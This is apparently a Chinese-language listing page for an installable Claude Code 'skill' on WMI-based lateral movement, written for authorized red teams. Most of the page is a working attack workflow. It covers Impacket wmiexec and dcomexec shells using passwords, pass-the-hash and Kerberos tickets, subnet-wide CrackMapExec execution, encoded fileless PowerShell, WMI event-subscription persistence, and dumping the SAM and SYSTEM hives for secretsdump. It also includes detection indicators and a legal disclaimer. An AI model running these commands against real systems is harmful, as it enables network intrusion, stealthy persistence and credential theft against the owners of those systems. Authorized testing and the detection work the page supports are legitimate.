mcpField
P
performing-lateral-movement-with-wmiexec

performing-lateral-movement-with-wmiexec

github.com/mukul975安全35.2k51 次安装8 周前更新
代码仓库

关于 performing-lateral-movement-with-wmiexec

介绍在 Windows 系统上通过 WMI 远程执行命令和横向移动的安全测试技能。面向获准开展工作的红队和安全测试人员,说明 Impacket、CrackMapExec 及原生 WMI 工具的用法,并列出检测线索。

主要功能

  1. 01使用 Impacket wmiexec.py shell
  2. 02通过 WMI 使用 Pass-the-Hash
  3. 03CrackMapExec 多目标执行
  4. 04原生 PowerShell WMI 命令
  5. 05WMI 持久化技术
  6. 06检测线索与日志

适用场景

  1. 01获准的 Windows 网络评估
  2. 02验证基于 WMI 的安全控制
  3. 03检查 WMI 活动检测

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-lateral-movement-with-wmiexec

安装后在 Claude Code 中输入/performing-lateral-movement-with-wmiexec确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

详细介绍

使用 WMIExec 执行横向移动

法律声明: 本技能仅用于经授权的安全测试和教育目的。未经授权对您不拥有或未获得书面许可测试的系统使用本技能是非法的,可能违反计算机欺诈相关法律。

概述

WMI(Windows Management Instrumentation)是一个合法的 Windows 管理框架,红队滥用其进行横向移动,因为它提供了远程命令执行能力,而无需部署额外服务,也不会留下像 PsExec 那样明显的痕迹。Impacket 的 wmiexec.py 通过 Win32_Process.Create 执行命令,并通过 ADMIN$ 共享上的临时文件读取输出,从而在 WMI 之上创建一个半交互式 shell。与 PsExec 不同,WMIExec 不会在目标上安装服务,因此更隐蔽,也更不容易触发安全告警。基于 WMI 的横向移动对应 MITRE ATT&CK T1047(Windows Management Instrumentation),并被 APT29、APT32 和 Lazarus Group 等威胁行为者使用。

何时使用

  • 当进行涉及使用 wmiexec 执行横向移动的安全评估时
  • 当遵循相关安全事件的事件响应流程时
  • 当执行计划中的安全测试或审计活动时
  • 当通过动手测试验证安全控制时

先决条件

  • 熟悉红队概念和工具
  • 可访问测试或实验环境以安全执行
  • Python 3.8+ 并安装所需依赖
  • 对任何测试活动具有适当授权

目标

  • 使用基于 WMI 的技术在 Windows 目标上执行远程命令
  • 通过 Impacket wmiexec.py 建立半交互式 shell
  • 使用 WMI 通过 Pass-the-Hash 执行横向移动
  • 使用 CrackMapExec 进行多目标 WMI 命令执行
  • 执行原生 PowerShell WMI 命令以实现无文件横向移动
  • 将 WMI 与凭据收集链接起来,以实现全网访问

MITRE ATT&CK 映射

  • T1047 - Windows Management Instrumentation
  • T1021.003 - Remote Services: Distributed Component Object Model (DCOM)
  • T1550.002 - Use Alternate Authentication Material: Pass the Hash
  • T1059.001 - Command and Scripting Interpreter: PowerShell
  • T1570 - Lateral Tool Transfer

工作流

阶段 1:使用 Impacket 的 WMIExec
  1. 使用凭据执行半交互式 shell:
    # With cleartext password
    wmiexec.py domain.local/admin:'Password123'@10.10.10.50
    
    # With NT hash (Pass-the-Hash)
    wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/[email protected]
    
    # With Kerberos ticket
    export KRB5CCNAME=admin.ccache
    wmiexec.py -k -no-pass domain.local/[email protected]
    
    # Execute specific command (non-interactive)
    wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "ipconfig /all"
    
  2. 不生成输出文件执行命令(使用 DCOM 更隐蔽):
    # Using dcomexec.py as alternative (MMC20.Application DCOM object)
    dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50
    
    # Using ShellWindows DCOM object
    dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50
    
阶段 2:CrackMapExec 多目标执行
  1. 在多个目标上执行命令:
    # Execute single command on subnet
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami"
    
    # Execute with hash
    crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "ipconfig"
    
    # Execute PowerShell command
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X "Get-Process"
    
    # Check local admin access via WMI
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'
    
阶段 3:原生 WMI 命令(Windows)
  1. 使用内置 Windows WMI 工具执行远程命令:
    # Using wmic.exe (deprecated but still available)
    wmic /node:10.10.10.50 /user:domain\admin /password:Password123 process call create "cmd.exe /c whoami > C:\temp\out.txt"
    
    # Using PowerShell Invoke-WmiMethod
    $cred = Get-Credential
    Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
      -Credential $cred -ArgumentList "cmd.exe /c ipconfig > C:\temp\output.txt"
    
    # Using CIM sessions (modern replacement for WMI)
    $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred
    Invoke-CimMethod -CimSession $session -ClassName Win32_Process `
      -MethodName Create -Arguments @{CommandLine="cmd.exe /c whoami"}
    
  2. 通过 WMI 进行无文件 PowerShell 执行:
    # Execute encoded PowerShell command remotely
    $cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process | Out-File C:\temp\procs.txt'))
    Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
      -Credential $cred -ArgumentList "powershell.exe -enc $cmd"
    
阶段 4:基于 WMI 的持久化
  1. 创建 WMI 事件订阅以实现持久化:
    # Create WMI event subscription (command runs on every logon)
    $filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter `
      -Arguments @{Name="PersistFilter"; EventNamespace="root\cimv2";
                   QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}
    
    $consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer `
      -Arguments @{Name="PersistConsumer"; CommandLineTemplate="cmd.exe /c <payload>"}
    
    Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding `
      -Arguments @{Filter=$filter; Consumer=$consumer}
    
阶段 5:与凭据收集链接
  1. 使用 WMI 进行远程凭据提取:
    # Dump SAM hashes via WMI + reg save
    wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "reg save HKLM\SAM C:\temp\sam && reg save HKLM\SYSTEM C:\temp\system"
    
    # Download saved hives
    smbclient.py domain.local/admin:'Password123'@10.10.10.50
    > get C:\temp\sam
    > get C:\temp\system
    
    # Extract hashes from saved hives
    secretsdump.py -sam sam -system system LOCAL
    

工具和资源

工具用途平台
wmiexec.py半交互式 WMI shell(Impacket)Linux (Python)
dcomexec.py基于 DCOM 的远程执行(Impacket)Linux (Python)
CrackMapExec多目标 WMI 执行Linux (Python)
wmic.exe原生 Windows WMI 命令行工具Windows
PowerShell CIM现代 WMI cmdletWindows
SharpWMI.NET WMI 执行工具Windows (.NET)

WMI 执行方法比较

方法是否创建服务输出方式隐蔽级别
wmiexec.py否ADMIN$ 上的临时文件中
dcomexec.py否ADMIN$ 上的临时文件中高
wmic.exe否无(盲执行)或重定向中
PowerShell WMI否无(盲执行)或重定向高
PsExec(对比)是服务输出管道低

检测特征

指标检测方法
Win32_Process.Create WMI 调用事件 4688(进程创建),且父进程为 WMI
ADMIN$ 上的 WMI 临时输出文件对 ADMIN$ 共享进行文件监控,以发现临时文件
远程 WMI 连接(DCOM/135)对发往工作站的 DCOM 流量进行网络监控
WmiPrvSE.exe 生成 cmd.exe/powershell.exeEDR 进程树分析
事件 5857/5860/5861Microsoft-Windows-WMI-Activity 中的 WMI 活动日志

验证标准

  • 在远程目标上建立 WMIExec shell
  • 通过 WMI 验证 Pass-the-Hash 执行
  • 通过 CrackMapExec WMI 对多目标执行命令
  • 远程执行原生 PowerShell WMI 命令
  • 通过 WMI 执行链进行凭证收集
  • 目标系统上无服务创建痕迹
  • 使用命令输出和截图记录证据

评论

支持 Markdown